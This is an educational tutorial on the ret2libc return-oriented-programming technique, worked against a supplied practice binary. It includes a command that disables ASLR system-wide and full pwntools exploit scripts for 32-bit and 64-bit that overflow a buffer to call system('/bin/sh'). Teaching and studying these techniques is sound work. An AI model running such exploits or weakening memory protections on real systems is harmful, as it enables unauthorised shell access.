ret2libc
The standard ROP exploit
A ret2libc is based off the system function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh; if you pass this string to system, it will pop a shell.
And that is the entire basis of it - passing /bin/sh as a parameter to system. Doesn't sound too bad, right?
ret2libc.zip
5KB
Binary
ret2libc

Disabling ASLR

To start with, we are going to disable ASLR. ASLR randomises the location of libc in memory, meaning we cannot (without other steps) work out the location of system and /bin/sh. To understand the general theory, we will start with it disabled.
1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Copied!

Manual Exploitation

Getting Libc and its base

Fortunately Linux has a command called ldd for dynamic linking. If we run it on our compiled ELF file, it'll tell us the libraries it uses and their base addresses.
1
$ ldd vuln-32
2
linux-gate.so.1 (0xf7fd2000)
3
libc.so.6 => /lib32/libc.so.6 (0xf7dc2000)
4
/lib/ld-linux.so.2 (0xf7fd3000)
Copied!
We need libc.so.6, so the base address of libc is 0xf7dc2000.
Libc base and the system and /bin/sh offsets may be different for you. This isn't a problem - it just means you have a different libc version. Make sure you use your values.

Getting the location of system()

To call system, we obviously need its location in memory. We can use the readelf command for this.
1
$ readelf -s /lib32/libc.so.6 | grep system
2
3
1534: 00044f00 55 FUNC WEAK DEFAULT 14 [email protected]@GLIBC_2.0
Copied!
The -s flag tells readelf to search for symbols, for example functions. Here we can find the offset of system from libc base is 0x44f00.

Getting the location of /bin/sh

Since /bin/sh is just a string, we can use strings on the dynamic library we just found with ldd. Note that when passing strings as parameters you need to pass a pointer to the string, not the hex representation of the string, because that's how C expects it.
1
$ strings -a -t x /lib32/libc.so.6 | grep /bin/sh
2
18c32b /bin/sh
Copied!
-a tells it to scan the entire file; -t x tells it to output the offset in hex.

32-bit Exploit

1
from pwn import *
2
3
p = process('./vuln-32')
4
5
libc_base = 0xf7dc2000
6
system = libc_base + 0x44f00
7
binsh = libc_base + 0x18c32b
8
9
payload = b'A' * 76 # The padding
10
payload += p32(system) # Location of system
11
payload += p32(0x0) # return pointer - not important once we get the shell
12
payload += p32(binsh) # pointer to command: /bin/sh
13
14
p.clean()
15
p.sendline(payload)
16
p.interactive()
Copied!

64-bit Exploit

Repeat the process with the libc linked to the 64-bit exploit (should be called something like /lib/x86_64-linux-gnu/libc.so.6).
Note that instead of passing the parameter in after the return pointer, you will have to use a pop rdi; ret gadget to put it into the RDI register.
1
$ ROPgadget --binary vuln-64 | grep rdi
2
3
[...]
4
0x00000000004011cb : pop rdi ; ret
Copied!
1
from pwn import *
2
3
p = process('./vuln-64')
4
5
libc_base = 0x7ffff7de5000
6
system = libc_base + 0x48e20
7
binsh = libc_base + 0x18a143
8
9
POP_RDI = 0x4011cb
10
11
payload = b'A' * 72 # The padding
12
payload += p64(POP_RDI) # gadget -> pop rdi; ret
13
payload += p64(binsh) # pointer to command: /bin/sh
14
payload += p64(system) # Location of system
15
payload += p64(0x0) # return pointer - not important once we get the shell
16
17
p.clean()
18
p.sendline(payload)
19
p.interactive()
Copied!

Automating with Pwntools

Unsurprisingly, pwntools has a bunch of features that make this much simpler.
1
# 32-bit
2
from pwn import *
3
4
elf = context.binary = ELF('./vuln-32')
5
p = process()
6
7
libc = elf.libc # Simply grab the libc it's running with
8
libc.address = 0xf7dc2000 # Set base address
9
10
system = libc.sym['system'] # Grab location of system
11
binsh = next(libc.search(b'/bin/sh')) # grab string location
12
13
payload = b'A' * 76 # The padding
14
payload += p32(system) # Location of system
15
payload += p32(0x0) # return pointer - not important once we get the shell
16
payload += p32(binsh) # pointer to command: /bin/sh
17
18
p.clean()
19
p.sendline(payload)
20
p.interactive()
Copied!
The 64-bit looks essentially the same.
Pwntools can simplify it even more with its ROP capabilities, but I won't showcase them here.
Last modified 1yr ago